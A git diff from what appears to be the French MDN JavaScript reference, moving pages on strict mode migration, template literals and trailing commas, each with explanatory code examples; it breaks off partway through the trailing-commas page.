+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-with-statement', 'with statement')}}{{Spec2('ESDraft')}} 
{{SpecName('ES6', '#sec-with-statement', 'Instruction with')}}{{Spec2('ES6')}} 
{{SpecName('ES5.1', '#sec-12.10', 'Instruction with')}}{{Spec2('ES5.1')}}Désormais interdit en mode strict.
{{SpecName('ES3', '#sec-12.10', 'Instruction with')}}{{Spec2('ES3')}} 
{{SpecName('ES1', '#sec-12.10', 'Instruction with')}}{{Spec2('ES1')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.statements.with")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Instructions/bloc", "Bloc d'instructions","",1)}}
    • +
  • {{jsxref("Strict_mode","Mode strict","",1)}}
    • +
  • {{jsxref("Symbol.unscopables")}}
    • +
  • {{jsxref("Array.@@unscopables", "Array.prototype[@@unscopables]")}}
    • +
diff --git a/files/fr/web/javascript/reference/strict_mode/passer_au_mode_strict/index.html b/files/fr/web/javascript/reference/strict_mode/passer_au_mode_strict/index.html deleted file mode 100644 index 029cf4b22c..0000000000 --- a/files/fr/web/javascript/reference/strict_mode/passer_au_mode_strict/index.html +++ /dev/null @@ -1,141 +0,0 @@ ---- -title: Passer au mode strict -slug: Web/JavaScript/Reference/Strict_mode/Passer_au_mode_strict -tags: - - Avancé - - JavaScript -translation_of: Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mode ---- -
{{jsSidebar("More")}}
- -

Le mode strict fut introduit avec ECMAScript 5 et est désormais présent dans les principaux navigateurs. Pour indiquer au navigateur l'utilisation de ce mode, il suffit d'ajouter "use strict"; au début du code source. En revanche, il faut un peu plus de travail afin de migrer une base de code existante afin qu'elle utilise intégralement le mode strict.

- -

Cet article a pour but de guider les développeurs qui souhaitent effectuer cette migration.

- -

Transition progressive

- -

Le mode strict a été conçu afin que la transition puisse être effectuée de façon progressive. Il est possible de modifier chaque fichier individuellement voire, éventuellement, de descendre cette granularité aux fonctions.

- -

Différences entre strict et non-strict

- -

Erreurs de syntaxe

- -

En utilisant "use strict";, certaines instructions ou fragments de code lanceront une exception {{jsxref("SyntaxError")}} avant l'exécution du script :

- -
    -
  • La syntaxe pour la base octale : var n = 023;
    • -
  • L'instruction {{jsxref("Instructions/with","with")}}
    • -
  • L'instruction {{jsxref("Instructions/delete","delete")}} pour un nom de variable delete maVariable;
    • -
  • L'utilisation de {{jsxref("Objets_globaux/eval","eval()")}} ou {{jsxref("Fonctions/arguments","arguments")}} comme un nom de variable ou un nom d'argument
    • -
  • L'utilisation d'un des nouveaux mots-clés réservés (en prévision d'ECMAScript 2015 (ES6)) : implements, interface, let, package, private, protected, public, static, et yield
    • -
  • La déclaration de fonctions dans des blocs if(a<b){ function f(){} }
    • -
  • Les erreurs évidentes -
      -
    • Déclarer deux fois le nom d'une propriété dans un littéral objet {a: 1, b: 3, a: 7}. Ceci n'est plus le cas pour ECMAScript 2015 (ES6) : {{bug(1041128)}}
      • -
    • Déclarer deux arguments de fonction avec le même nom function f(a, b, b){}
      • -
    -
    • -
- -

Ces erreurs sont bienvenues car elles révèlent des mauvaises pratiques et certaines erreurs claires. Elles apparaissent avant l'exécution du code.

- -

Erreurs à l'exécution

- -

JavaScript échoue silencieusement dans certains contextes où une erreur se produit. Le mode strict lance une exception dans ces cas. Si votre code contient certains de ces cas, il sera nécessaire de faire des tests afin de vous assurer que rien n'est cassé. Encore une fois, il est possible d'utiliser le mode strict à la granularité des fonctions.

- -

Attribuer une valeur à une variable non déclarée

- -
function f(x){
-  "use strict";
-  var a = 12;
-  b = a + x*35; // erreur !
-}
-f(42);
-
- -

Cela a pour effet de changer une valeur de l'objet global, ce qui est rarement voulu. Si vous souhaitez définir une valeur pour l'objet global, utilisez le comme argument et assignez la propriété de façon explicite :

- -
// au niveau le plus haut "this" fait toujours référence
-// à l'objet global
-var global = this;
-
-function f(x){
-  "use strict";
-  var a = 12;
-  global.b = a + x*35;
-}
-f(42);
-
- -

Essayer de supprimer une propriété non-configurable

- -
"use strict";
-delete Object.prototype; // erreur !
-
- -

En mode non-strict, cela serait passé sous silence (contrairement à ce à quoi l'utilisateur pourrait s'attendre).

- -

Utiliser les mauvaises propriétés d'arguments et function

- -

Utiliser arguments.callee, arguments.caller, anyFunction.caller ou encore anyFunction.arguments renverra une erreur en mode strict. Le seul cas légitime pour les utiliser serait :

- -
// exemple tiré de vanillajs: http://vanilla-js.com/
-var s = document.getElementById('truc').style;
-s.opacity = 1;
-(function(){
-  if((s.opacity-=.1) < 0)
-    s.display="none";
-  else
-    setTimeout(arguments.callee, 40);
-})();
- -

qu'on peut réécrire en :

- -
"use strict";
-var s = document.getElementById('truc').style;
-s.opacity = 1;
-(function fadeOut(){ // on nomme la fonction
-  if((s.opacity-=.1) < 0)
-    s.display="none";
-  else
-    setTimeout(fadeOut, 40); // on utilise ce nom
-})();
- -

Les différences sémantiques

- -

Ces différences sont très subtiles et il est possible qu'un ensemble de tests ne détecte pas ces différences. Il peut être alors nécessaire d'analyser votre code avec précaution afin de vérifier que la signification du code n'ait pas changé. Encore une fois, cela peut être fait fonction par fonction.

- -

Le sens de this dans les appels de fonction

- -

Lors de l'appel à une fonction comme f(), la valeur de this correspondait à l'objet global. En mode strict, cette valeur devient undefined. Lorsqu'une fonction était appelée avec {{jsxref("Function.prototype.call","call()")}} ou {{jsxref("Function.prototype.apply","apply()")}}, si la valeur était une valeur primitive, elle était placée dans un objet (ou dans l'objet global pour undefined et null). En mode strict, la valeur est passée directement, sans conversion ni remplacement.

- -

arguments ne crée pas d'alias pour les arguments nommés d'une fonction

- -

En mode non-strict, la modification d'une valeur de l'objet arguments entraînait la modification de l'argument correspondant. Cela complexifie les optimisations des moteurs JavaScript et et la lecture du code. En mode strict, l'objet arguments est créé et initialisé avec les mêmes valeurs que les arguments nommés. En revanche, les changements apportés à l'objet arguments ou aux arguments nommés ne sont pas reproduit de l'un vers l'autre et réciproquement.

- -

Changements apportés à eval

- -

En mode strict, eval ne crée pas de nouvelle variable dans la portée depuis laquelle il a été appelé. Bien entendu, la chaîne évaluée est évaluée selon les règles du mode strict. Pour s'assurer du bon fonctionnement de cette évaluation, il faut s'assurer des cas de figures qui s'y présentent pour les tester. Rappel : il ne faut utiliser eval que si cela est nécessaire (les dangers liés à cette fonction font qu'on observe de mauvaises pratiques).

- -

La neutralité du code quant au mode strict

- -

Un des aspects négatifs de cette migration est la sémantique : le sens du code pourrait être différent dans les navigateurs historiques qui n'implémentent pas le mode strict. Dans quelques rares cas (une mauvaise concaténation ou minification), votre code pourrait ne pas fonctionner dans le mode que vous avez testé. Voici quelques règles pour que le code soit le plus neutre possible quant au mode choisi (strict ou non-strict) :

- -
    -
  1. Écrivez votre code « strictement » et assurez vous de lancer des exceptions dans le cadre d'erreurs liées au mode non-strict (voir la section « Erreurs à l'exécution » ci-avant)
    2. -
  2. Minimisez l'utilisation des éléments dont la sémantique pourrait changer : -
      -
    1. eval : n'utilisez cette fonction uniquement si vous êtes certains que c'est l'unique solution
      2. -
    2. arguments : utilisez les arguments d'une fonction via leur nom ou faites une copie de l'objet en utilisant :
      - var args = Array.prototype.slice.call(arguments)
      - au tout début de votre fonction
      3. -
    3. this : n'utilisez this que pour faire référence à un objet que vous avez créé
      4. -
    -
    3. -
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/strict_mode/transitioning_to_strict_mode/index.html b/files/fr/web/javascript/reference/strict_mode/transitioning_to_strict_mode/index.html new file mode 100644 index 0000000000..029cf4b22c --- /dev/null +++ b/files/fr/web/javascript/reference/strict_mode/transitioning_to_strict_mode/index.html @@ -0,0 +1,141 @@ +--- +title: Passer au mode strict +slug: Web/JavaScript/Reference/Strict_mode/Passer_au_mode_strict +tags: + - Avancé + - JavaScript +translation_of: Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mode +--- +
{{jsSidebar("More")}}
+ +

Le mode strict fut introduit avec ECMAScript 5 et est désormais présent dans les principaux navigateurs. Pour indiquer au navigateur l'utilisation de ce mode, il suffit d'ajouter "use strict"; au début du code source. En revanche, il faut un peu plus de travail afin de migrer une base de code existante afin qu'elle utilise intégralement le mode strict.

+ +

Cet article a pour but de guider les développeurs qui souhaitent effectuer cette migration.

+ +

Transition progressive

+ +

Le mode strict a été conçu afin que la transition puisse être effectuée de façon progressive. Il est possible de modifier chaque fichier individuellement voire, éventuellement, de descendre cette granularité aux fonctions.

+ +

Différences entre strict et non-strict

+ +

Erreurs de syntaxe

+ +

En utilisant "use strict";, certaines instructions ou fragments de code lanceront une exception {{jsxref("SyntaxError")}} avant l'exécution du script :

+ +
    +
  • La syntaxe pour la base octale : var n = 023;
    • +
  • L'instruction {{jsxref("Instructions/with","with")}}
    • +
  • L'instruction {{jsxref("Instructions/delete","delete")}} pour un nom de variable delete maVariable;
    • +
  • L'utilisation de {{jsxref("Objets_globaux/eval","eval()")}} ou {{jsxref("Fonctions/arguments","arguments")}} comme un nom de variable ou un nom d'argument
    • +
  • L'utilisation d'un des nouveaux mots-clés réservés (en prévision d'ECMAScript 2015 (ES6)) : implements, interface, let, package, private, protected, public, static, et yield
    • +
  • La déclaration de fonctions dans des blocs if(a<b){ function f(){} }
    • +
  • Les erreurs évidentes +
      +
    • Déclarer deux fois le nom d'une propriété dans un littéral objet {a: 1, b: 3, a: 7}. Ceci n'est plus le cas pour ECMAScript 2015 (ES6) : {{bug(1041128)}}
      • +
    • Déclarer deux arguments de fonction avec le même nom function f(a, b, b){}
      • +
    +
    • +
+ +

Ces erreurs sont bienvenues car elles révèlent des mauvaises pratiques et certaines erreurs claires. Elles apparaissent avant l'exécution du code.

+ +

Erreurs à l'exécution

+ +

JavaScript échoue silencieusement dans certains contextes où une erreur se produit. Le mode strict lance une exception dans ces cas. Si votre code contient certains de ces cas, il sera nécessaire de faire des tests afin de vous assurer que rien n'est cassé. Encore une fois, il est possible d'utiliser le mode strict à la granularité des fonctions.

+ +

Attribuer une valeur à une variable non déclarée

+ +
function f(x){
+  "use strict";
+  var a = 12;
+  b = a + x*35; // erreur !
+}
+f(42);
+
+ +

Cela a pour effet de changer une valeur de l'objet global, ce qui est rarement voulu. Si vous souhaitez définir une valeur pour l'objet global, utilisez le comme argument et assignez la propriété de façon explicite :

+ +
// au niveau le plus haut "this" fait toujours référence
+// à l'objet global
+var global = this;
+
+function f(x){
+  "use strict";
+  var a = 12;
+  global.b = a + x*35;
+}
+f(42);
+
+ +

Essayer de supprimer une propriété non-configurable

+ +
"use strict";
+delete Object.prototype; // erreur !
+
+ +

En mode non-strict, cela serait passé sous silence (contrairement à ce à quoi l'utilisateur pourrait s'attendre).

+ +

Utiliser les mauvaises propriétés d'arguments et function

+ +

Utiliser arguments.callee, arguments.caller, anyFunction.caller ou encore anyFunction.arguments renverra une erreur en mode strict. Le seul cas légitime pour les utiliser serait :

+ +
// exemple tiré de vanillajs: http://vanilla-js.com/
+var s = document.getElementById('truc').style;
+s.opacity = 1;
+(function(){
+  if((s.opacity-=.1) < 0)
+    s.display="none";
+  else
+    setTimeout(arguments.callee, 40);
+})();
+ +

qu'on peut réécrire en :

+ +
"use strict";
+var s = document.getElementById('truc').style;
+s.opacity = 1;
+(function fadeOut(){ // on nomme la fonction
+  if((s.opacity-=.1) < 0)
+    s.display="none";
+  else
+    setTimeout(fadeOut, 40); // on utilise ce nom
+})();
+ +

Les différences sémantiques

+ +

Ces différences sont très subtiles et il est possible qu'un ensemble de tests ne détecte pas ces différences. Il peut être alors nécessaire d'analyser votre code avec précaution afin de vérifier que la signification du code n'ait pas changé. Encore une fois, cela peut être fait fonction par fonction.

+ +

Le sens de this dans les appels de fonction

+ +

Lors de l'appel à une fonction comme f(), la valeur de this correspondait à l'objet global. En mode strict, cette valeur devient undefined. Lorsqu'une fonction était appelée avec {{jsxref("Function.prototype.call","call()")}} ou {{jsxref("Function.prototype.apply","apply()")}}, si la valeur était une valeur primitive, elle était placée dans un objet (ou dans l'objet global pour undefined et null). En mode strict, la valeur est passée directement, sans conversion ni remplacement.

+ +

arguments ne crée pas d'alias pour les arguments nommés d'une fonction

+ +

En mode non-strict, la modification d'une valeur de l'objet arguments entraînait la modification de l'argument correspondant. Cela complexifie les optimisations des moteurs JavaScript et et la lecture du code. En mode strict, l'objet arguments est créé et initialisé avec les mêmes valeurs que les arguments nommés. En revanche, les changements apportés à l'objet arguments ou aux arguments nommés ne sont pas reproduit de l'un vers l'autre et réciproquement.

+ +

Changements apportés à eval

+ +

En mode strict, eval ne crée pas de nouvelle variable dans la portée depuis laquelle il a été appelé. Bien entendu, la chaîne évaluée est évaluée selon les règles du mode strict. Pour s'assurer du bon fonctionnement de cette évaluation, il faut s'assurer des cas de figures qui s'y présentent pour les tester. Rappel : il ne faut utiliser eval que si cela est nécessaire (les dangers liés à cette fonction font qu'on observe de mauvaises pratiques).

+ +

La neutralité du code quant au mode strict

+ +

Un des aspects négatifs de cette migration est la sémantique : le sens du code pourrait être différent dans les navigateurs historiques qui n'implémentent pas le mode strict. Dans quelques rares cas (une mauvaise concaténation ou minification), votre code pourrait ne pas fonctionner dans le mode que vous avez testé. Voici quelques règles pour que le code soit le plus neutre possible quant au mode choisi (strict ou non-strict) :

+ +
    +
  1. Écrivez votre code « strictement » et assurez vous de lancer des exceptions dans le cadre d'erreurs liées au mode non-strict (voir la section « Erreurs à l'exécution » ci-avant)
    2. +
  2. Minimisez l'utilisation des éléments dont la sémantique pourrait changer : +
      +
    1. eval : n'utilisez cette fonction uniquement si vous êtes certains que c'est l'unique solution
      2. +
    2. arguments : utilisez les arguments d'une fonction via leur nom ou faites une copie de l'objet en utilisant :
      + var args = Array.prototype.slice.call(arguments)
      + au tout début de votre fonction
      3. +
    3. this : n'utilisez this que pour faire référence à un objet que vous avez créé
      4. +
    +
    3. +
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/template_literals/index.html b/files/fr/web/javascript/reference/template_literals/index.html new file mode 100644 index 0000000000..cea966a908 --- /dev/null +++ b/files/fr/web/javascript/reference/template_literals/index.html @@ -0,0 +1,247 @@ +--- +title: Littéraux de gabarits +slug: Web/JavaScript/Reference/Littéraux_gabarits +tags: + - Chaîne de caractères + - ECMAScript 2015 + - Guide + - JavaScript + - Littéraux de gabarits +translation_of: Web/JavaScript/Reference/Template_literals +--- +
{{JsSidebar("More")}}
+ +

Les littéraux de gabarits sont des littéraux de chaînes de caractères permettant d'intégrer des expressions. Avec eux, on peut utiliser des chaînes de caractères multi-lignes et des fonctionnalités d'interpolation.

+ +
+

Note : Dans les premières versions de la spécification ECMAScript 2015, cette fonctionnalité était intitulée « gabarits de chaîne de caractères ». Dans la suite de cet article, les expressions « gabarits de texte », « gabarits de libellés », « littéraux de gabarits » et « gabarits » seront équivalents.

+
+ +

Syntaxe

+ +
`texte`
+
+`ligne de texte 1
+ ligne de texte 2`
+
+`texte ${expression} texte`
+
+etiquette `texte ${expression} texte`
+
+ +

Description

+ +

Les gabarits sont délimités par des caractères accent grave (` `)  au lieu des apostrophes doubles ou simples. Les gabarits peuvent contenir des espaces réservés (placeholders). Ces espaces sont indiqués par le signe dollar ($) et des accolades (${expression}). Les expressions dans les espaces réservés et le texte compris dans ces espaces sont passés à une fonction.

+ +

Pour créer la chaîne finale, la fonction par défaut concatène simplement les différentes parties en une seule chaîne. Toutefois, on peut utiliser une fonction spécifique pour obtenir un comportement différent et recomposer la chaîne avec une autre logique. On parlera alors de gabarit étiqueté (cf. ci-après).

+ +
let rep = 42;
+console.log(`La réponse est ${rep}`); // Gabarit simple avec la concaténation par défaut
+
+function concatenationAdHoc(chaines, reponse){
+  let parite;
+  if(reponse % 2 === 0){
+    parite = "paire";
+  } else {
+    parite = "impaire";
+  }
+  return `${chaines[0]}${parite}.`;
+}
+// concaténation spécifique où on modifie la sortie
+console.log(concatenationAdHoc`La réponse est ${rep}.`);
+
+ +

Pour utiliser des accents graves dans un gabarit, on les échappera avec une barre oblique inverse (\) :

+ +
`\`` === "`"; // true
+ +

Les chaînes de caractères multi-lignes

+ +

Tous les caractères de saut de ligne insérés dans la source font partie du gabarit. Avec des chaînes de caractères normales, il aurait fallu utiliser la syntaxe suivante pour obtenir des chaînes multi-lignes :

+ +
console.log('ligne de texte 1\n'+
+'ligne de texte 2');
+// "ligne de texte 1
+// ligne de texte 2"
+ +

Pour obtenir le même effet avec les gabarits, on peut désormais écrire :

+ +
console.log(`ligne de texte 1
+ligne de texte 2`);
+// "ligne de texte 1
+//  ligne de texte 2"
+ +

Interpolation d'expressions

+ +

Pour intégrer des expressions dans des chaînes de caractères normales, il fallait utiliser la syntaxe suivante :

+ +
let a = 5;
+let b = 10;
+console.log('Quinze vaut ' + (a + b) + ' et\nnon ' + (2 * a + b) + '.');
+// "Quinze vaut 15 et
+// non 20."
+ +

On peut désormais utiliser le sucre syntaxique fourni par les gabarits pour rendre les substitutions plus lisibles :

+ +
let a = 5;
+let b = 10;
+console.log(`Quinze vaut ${a + b} et
+non ${2 * a + b}.`);
+// "Quinze vaut 15 et
+// non 20."
+ +

Imbrication de gabarits

+ +

Parfois, l'imbrication d'un gabarit est la solution la plus simple (et peut-être la plus lisible) pour obtenir des chaînes de caractères configurables.

+ +

En ES5 :

+ +
let classes = 'header'
+classes += (isLargeScreen() ?
+   '' : item.isCollapsed ?
+     ' icon-expander' : ' icon-collapser');
+
+ +

En ES2015 avec des gabarits et sans imbrication :

+ +
const classes = `header ${ isLargeScreen() ? '' :
+    (item.isCollapsed ? 'icon-expander' : 'icon-collapser') }`;
+ +

En ES2015 avec des gabarits imbriqués :

+ +
const classes = `header ${ isLargeScreen() ? '' :
+ `icon-${item.isCollapsed ? 'expander' : 'collapser'}` }`;
+ +

Gabarits étiquetés

+ +

Les gabarits étiquetés (tagged templates) sont une forme plus avancée de gabarits. On peut ici utiliser une fonction pour analyser les différents fragments du gabarit. Le premier argument passé à la fonction est l'ensemble de valeurs issues de chaînes de caractères sous la forme d'un tableau. Les arguments ensuite passés à la fonction seront les expressions contenues dans le gabarit. La fonction pourra ainsi créer une chaîne avec une autre forme de concaténation et utiliser une logique spécifique. La fonction utilisée pour le formatage du gabarit peut être nommée comme n'importe quelle autre fonction.

+ +
let personne = 'Michou';
+let age = 28;
+
+function monEtiquette(chaines, expPersonne, expAge) {
+  let chn0 = chaines[0]; // "ce "
+  let chn1 = chaines[1]; // " est un "
+
+  // Techniquement, il y a une chaîne après
+  // l'expression finale (dans notre exemple),
+  // mais elle est vide (""), donc ne pas en tenir compte.
+  // var chn2 = chaines[2];
+
+  let chnAge;
+  if (expAge > 99){
+    chnAge = 'centenaire';
+  } else {
+    chnAge = 'jeunot';
+  }
+  // On peut tout à fait renvoyer une chaîne construite
+  // avec un gabarit
+  return `${chn0}${expPersonne}${chn1}${chnAge}`;
+}
+
+let sortie = monEtiquette`ce ${ personne } est un ${ age }`;
+
+console.log(sortie);
+// ce Michou est un jeunot
+
+ +

Chaînes brutes

+ +

La propriété spéciale raw, disponible sur le premier argument de la fonction du gabarit étiqueté, vous permet d'accéder aux chaînes brutes, telles qu'elles ont été entrées, sans traiter les séquences d'échappement.

+ +
function etiquette(chaines) {
+  console.log(chaines.raw[0]);
+}
+
+etiquette`ligne de texte 1 \n ligne de texte 2`;
+// affichera dans la console :
+// "ligne de texte 1 \n ligne de texte 2"
+
+ +

En outre, la méthode {{jsxref("String.raw()")}} a pour fonction de créer des chaînes de caractères brutes, exactement comme la fonction de gabarit et de concaténation de chaînes par défaut le ferait :

+ +
let chn = String.raw`Salut\n${2+3}!`;
+// "Salut\n5!"
+
+chn.length;
+// 9
+
+chn.split('').join(',');
+// "S,a,l,u,t,\,n,5,!"
+
+ +

Les gabarits étiquetés et les séquences d'échappement

+ +

Comportement de ES2016

+ +

Quant à ECMAScript 2016, les gabarits étiquetés se conforment aux règles de séquences d'échappement suivantes :

+ +
    +
  • Les séquences d'échappement Unicode commencent par "\u", par exemple\u00A9
    • +
  • Les séquences d'échappement pour les points de code Unicode sont indiquées par "\u{}", par exemple \u{2F804}
    • +
  • Les séquences d'échappement hexadécimales commencent par "\x", par exemple \xA9
    • +
  • Les séquences d'échappement octales commencent par un "\0o" suivi d'un (ou plusieurs) chiffre(s), par exemple \0o251.
    • +
+ +

Cela signifie qu'un gabarit étiqueté comme celui qui suit pose problème du fait que, selon la grammaire ECMAScript, un analyseur recherchera des séquences d'échappement Unicode valides, mais trouvera la syntaxe mal formée :

+ +
latex`\unicode`
+// Génère, dans les anciennes versions ECMAScript (ES2016 et précédentes)
+// SyntaxError: malformed Unicode character escape sequence
+ +

Révision ES2018 pour les séquences d'échappement illégales

+ +

Les gabarits étiquetés doivent permettre l'intégration d'autres langages (par exemple, des DSL ou du LaTeX), dans lesquels d'autres séquences d'échappement sont fréquentes. La proposition Template Literal Revision pour ECMAScript (étape 4, à intégrer dans le standard ECMAScript 2018) supprime la restriction syntaxique des séquences d'échappement dans les gabarits étiquetés.

+ +

Toutefois, les séquences d'échappement illégales doivent toujours être représentées dans la version "bidouillée". Elles seront affichées comme un élément {{jsxref("undefined")}} dans le tableau "bidouillé" :

+ +
function latex(chn) {
+ return { "bidouillee": chn[0], "brute": chn.raw[0] }
+}
+
+latex`\unicode`
+
+// { bidouillee: undefined, brute: "\\unicode" }
+ +

Notez que la restriction sur les séquences d'échappement est uniquement supprimée pour les gabarits étiquetés, et non pour les gabarits de libellés non étiquetés :

+ +
let mauvaise = `mauvaise séquence d'échappement : \unicode`;
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-template-literals', 'Template Literals')}}{{Spec2('ES2015')}}Définition initiale. Définie dans plusieurs sections de la spécification : Template Literals, Tagged Templates
{{SpecName('ESDraft', '#sec-template-literals', 'Template Literals')}}{{Spec2('ESDraft')}}Définie dans plusieurs sections de la spécification : Template Literals, Tagged Templates
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.grammar.template_literals")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/trailing_commas/index.html b/files/fr/web/javascript/reference/trailing_commas/index.html new file mode 100644 index 0000000000..a9cc88ac47 --- /dev/null +++ b/files/fr/web/javascript/reference/trailing_commas/index.html @@ -0,0 +1,183 @@ +--- +title: Virgules finales (trailing commas) +slug: Web/JavaScript/Reference/Virgules_finales +tags: + - ECMAScript2017 + - ECMAScript5 + - JavaScript + - Syntaxe + - Virgule +translation_of: Web/JavaScript/Reference/Trailing_commas +--- +
{{JsSidebar("More")}}
+ +

Les virgules finales (trailing commas en anglais) s'avèrent utiles lorsqu'on souhaite ajouter de nouveaux éléments, paramètres ou de nouvelles propriétés à du code JavaScript. Si on souhaite ajouter une propriété en fin de course, on peut simplement ajouter une ligne sans avoir à modifier la précédente si celle-ci utilise une virgule finale. Cela permet d'avoir des vues de différences (diffs) plus claires et de simplifier l'édition de code.

+ +

Les virgules finales peuvent être utilisées dans les littéraux de tableau depuis le début. Elles sont été ajoutées dans les littéraux objets à partir d'ECMAScript 5 et ECMAScript 2017 permet de les utiliser dans la liste des paramètres d'une fonction.

+ +

{{Glossary("JSON")}}, en revanche, ne permet pas d'utiliser des virgules finales.

+ +

Les virgules finales dans les littéraux

+ +

Tableaux

+ +

JavaScript ignore les virgules finales dans les tableaux :

+ +
var arr = [
+  1,
+  2,
+  3,
+];
+
+arr; // [1, 2, 3]
+arr.length; // 3
+ +

Si plusieurs virgules finales sont utilisées, cela crée un vide dans le tableau. Un tableau avec des vides est parfois qualifié de parsemé (ou sparse en anglais). Lorsqu'on parcourt un tableau avec les méthodes {{jsxref("Array.prototype.forEach()")}} ou {{jsxref("Array.prototype.map()")}}, par exemple, ces vides sont ignorés.

+ +
var arr = [1, 2, 3,,,];
+arr.length; // 5
+
+ +

Objets

+ +

À partir d'ECMAScript 5, on peut également utiliser les virgules finales dans les littéraux objets :

+ +
var objet = {
+  toto: "truc",
+  bidule: "azerty",
+  age: 42,
+};
+ +

Les virgules finales dans les fonctions

+ +

ECMAScript 2017 permet d'utiliser les virgules finales dans la liste des paramètres d'une fonction.

+ +

Définitions des paramètres

+ +

Pour chacune des deux paires de définitions qui suivent, les deux définitions sont autorisées et équivalentes entre elles. Les virgules finales n'ont pas d'impact sur la propriété length de la fonction ni sur l'objet arguments.

+ +
function f(p) {}
+function f(p,) {}
+
+(p) => {};
+(p,) => {};
+
+ +

Les virgules finales peuvent également être utilisées lors des définitions de méthodes dans les objets et les classes :

+ +
class C {
+  un(a,) {},
+  deux(a, b,) {},
+}
+
+var obj = {
+  un(a,) {},
+  deux(a, b,) {},
+};
+
+ +

Appels de fonctions

+ +

Pour chacune des deux paires d'appels qui suivent, les deux appels sont équivalents entre eux :

+ +
f(p);
+f(p,);
+
+Math.max(10, 20);
+Math.max(10, 20,);
+
+ +

Virgules finales non-autorisées

+ +

Les définitions de paramètres ou les appels de fonctions qui ne contiennent qu'une seule virgule lèveront une exception {{Jsxref("SyntaxError")}}. Par ailleurs, on ne peut pas utiliser de virgule finale avec les paramètres du reste :

+ +
function f(,) {} // SyntaxError: missing formal parameter
+(,) => {};       // SyntaxError: expected expression, got ','
+f(,)             // SyntaxError: expected expression, got ','
+
+function f(...p,) {} // SyntaxError: parameter after rest parameter
+(...p,) => {}        // SyntaxError: expected closing parenthesis, got ','
+
+ +

Les virgules finales et la décomposition

+ +

On peut aussi utiliser une virgule finale dans l'opérande gauche lorsqu'on utilise l'affectation par décomposition :

+ +
// Décomposition d'un tableau avec
+// une virgule finale
+[a, b,] = [1, 2];
+
+// Décomposition d'un objet avec une
+// virgule finale
+var o = {
+  p: 42,
+  q: true,
+};
+var {p, q,} = o;
+
+ +

Là encore, si on utilise un élément du reste, une exception {{jsxref("SyntaxError")}} sera levée :

+ +
var [a, ...b,] = [1, 2, 3];
+// SyntaxError: rest element may not have a trailing comma
+ +

Les virgules finales en JSON

+ +

L'utilisation des virgules finales dans les objets a été introduite avec ECMAScript 5. Toutefois, le format JSON est basé sur la syntaxe JavaScript antérieure à ES5 et les virgules finales sont donc interdites en JSON.

+ +

Les deux lignes suivantes lèveront une exception {{jsxref("SyntaxError")}} :

+ +
JSON.parse('[1, 2, 3, 4, ]');
+JSON.parse('{"foo" : 1, }');
+// SyntaxError JSON.parse: unexpected character
+// at line 1 column 14 of the JSON data
+
+ +

Pour analyser le JSON correctement, on évitera les virgules finales :

+ +
JSON.parse('[1, 2, 3, 4 ]');
+JSON.parse('{"foo" : 1 }');
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES5.1')}}{{Spec2('ES5.1')}}Ajout des virgules finales pour les littéraux objets.
{{SpecName('ES6')}}{{Spec2('ES6')}}Aucune modification.
{{SpecName('ES2017')}}{{Spec2('ES2017')}}Ajout des virgules finales à la liste des arguments d'une fonction (déclaration et appels).
{{SpecName('ESDraft')}}{{Spec2('ESDraft')}}ES2017 added trailing function commas.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.grammar.trailing_commas")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/virgules_finales/index.html b/files/fr/web/javascript/reference/virgules_finales/index.html deleted file mode 100644 index a9cc88ac47..0000000000 --- a/files/fr/web/javascript/reference/virgules_finales/index.html +++ /dev/null @@ -1,183 +0,0 @@ ---- -title: Virgules finales (trailing commas) -slug: Web/JavaScript/Reference/Virgules_finales -tags: - - ECMAScript2017 - - ECMAScript5 - - JavaScript - - Syntaxe - - Virgule -translation_of: Web/JavaScript/Reference/Trailing_commas ---- -
{{JsSidebar("More")}}
- -

Les virgules finales (trailing commas en anglais) s'avèrent utiles lorsqu'on souhaite ajouter de nouveaux éléments, paramètres ou de nouvelles propriétés à du code JavaScript. Si on souhaite ajouter une propriété en fin de course, on peut simplement ajouter une ligne sans avoir à modifier la précédente si celle-ci utilise une virgule finale. Cela permet d'avoir des vues de différences (diffs) plus claires et de simplifier l'édition de code.

- -

Les virgules finales peuvent être utilisées dans les littéraux de tableau depuis le début. Elles sont été ajoutées dans les littéraux objets à partir d'ECMAScript 5 et ECMAScript 2017 permet de les utiliser dans la liste des paramètres d'une fonction.

- -

{{Glossary("JSON")}}, en revanche, ne permet pas d'utiliser des virgules finales.

- -

Les virgules finales dans les littéraux

- -

Tableaux

- -

JavaScript ignore les virgules finales dans les tableaux :

- -
var arr = [
-  1,
-  2,
-  3,
-];
-
-arr; // [1, 2, 3]
-arr.length; // 3
- -

Si plusieurs virgules finales sont utilisées, cela crée un vide dans le tableau. Un tableau avec des vides est parfois qualifié de parsemé (ou sparse en anglais). Lorsqu'on parcourt un tableau avec les méthodes {{jsxref("Array.prototype.forEach()")}} ou {{jsxref("Array.prototype.map()")}}, par exemple, ces vides sont ignorés.

- -
var arr = [1, 2, 3,,,];
-arr.length; // 5
-
- -

Objets

- -

À partir d'ECMAScript 5, on peut également utiliser les virgules finales dans les littéraux objets :

- -
var objet = {
-  toto: "truc",
-  bidule: "azerty",
-  age: 42,
-};
- -

Les virgules finales dans les fonctions

- -

ECMAScript 2017 permet d'utiliser les virgules finales dans la liste des paramètres d'une fonction.

- -

Définitions des paramètres

- -

Pour chacune des deux paires de définitions qui suivent, les deux définitions sont autorisées et équivalentes entre elles. Les virgules finales n'ont pas d'impact sur la propriété length de la fonction ni sur l'objet arguments.

- -
function f(p) {}
-function f(p,) {}
-
-(p) => {};
-(p,) => {};
-
- -

Les virgules finales peuvent également être utilisées lors des définitions de méthodes dans les objets et les classes :

- -
class C {
-  un(a,) {},
-  deux(a, b,) {},
